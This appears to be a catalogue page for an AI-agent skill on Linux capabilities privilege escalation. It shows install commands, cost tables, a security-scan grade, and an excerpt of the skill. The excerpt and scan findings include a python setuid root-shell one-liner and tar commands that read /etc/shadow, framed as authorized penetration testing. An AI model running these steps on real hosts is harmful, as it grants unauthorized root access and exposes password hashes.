Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privescWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/linux-capabilities-privesc.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00061 | $0.00960 |
| Opus 5 | $0.00030 | $0.00480 |
| Sonnet 5 | $0.00012 | $0.00192 |
| Haiku 4.5 | $0.00006 | $0.00096 |
Grade B, and why
linux-capabilities-privesc scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
# # tar -cvf shadow.tar /etc/shadow Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' This is a copy
100% identical to linux-capabilities-privesc — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 121 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Linux Capabilities Privilege Escalation
When to Use
- During the post-exploitation phase on a Linux system after acquiring a low-privileged shell.
- When standard privilege escalation vectors (sudoers, SUID binaries, cron jobs) yield no results.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Enumerating File Capabilities
# getcap -r / 2>/dev/null
# ```
### Phase 2: Exploiting cap_setuid (e.g., Python, Perl, Tar)
```bash
# # python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# ```
### Phase 3: Exploiting cap_dac_read_search (e.g., Tar)
```bash
# # tar -cvf shadow.tar /etc/shadow
tar -xvf shadow.tar
cat etc/shadow
Phase 4: Exploiting cap_sys_ptrace (Process Injection)
# inject_shellcode $(pidof root_process)
Decision Point 🔀
flowchart TD
A[Run getcap ] --> B{Capabilities Found ]}
B -->|Yes| C[Match Capability ]
B -->|No| D[Check Other Vectors ]
C --> E[Execute PrivEsc ]
🔵 Blue Team Detection & Defense
- Audit File Capabilities Regularly: Principle of Least Privilege: Remove Development Tools: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Linux Capabilities Privesc — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 121 lines · 61 tokens per session scan B b4fe70ab15c9
linux-capabilities-privesc is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 61 tokens to every session and 960 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (reaches for credential files, runs shell commands). It is 100% identical to linux-capabilities-privesc, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
linux-capabilities-privesc
Identify and exploit misconfigured Linux Capabilities. This skill covers how attackers escalate privileges to root without relying on SUID binaries or kernel exploits by abusing excessive capabilities like capdacreadsearch, capsysptrace, or capsetuid assigned to ordinary files.
detecting-privilege-escalation-in-kubernetes-pods
Detect and prevent privilege escalation in Kubernetes pods by monitoring security contexts, capabilities, and syscall patterns with Falco and OPA policies.
docker-daemon-privesc
Exploit misconfigured Docker environments, specifically focusing on privilege escalation via an exposed Docker daemon socket (docker.sock) or membership in the local docker user group to achieve root access on the host system.
privesc-linpeas
Linux privilege escalation enumeration and attack surface analysis using LinPEAS (Linux Privilege Escalation Awesome Script). Automates post-exploitation discovery of escalation vectors, misconfigurations, and credential exposure on Linux targets. Use when: (1) Enumerating privilege escalation vectors after initial…
analyzing-cron-job-privesc-vectors
Identify and exploit Linux cron job misconfigurations to escalate privileges from a low-privilege user to root. Covers writable cron scripts, world-writable PATH entries, wildcard injection, and cron-based reverse shells in isolated lab environments.
analyzing-sudo-rules-for-privesc-vectors
Enumerate and exploit sudo misconfigurations on Linux systems to escalate privileges. Covers NOPASSWD entries, wildcard abuse, sudo -l enumeration, LDPRELOAD injection, and GTFOBins lookup for allowed commands in isolated lab environments. Core skill for Linux privilege escalation phases.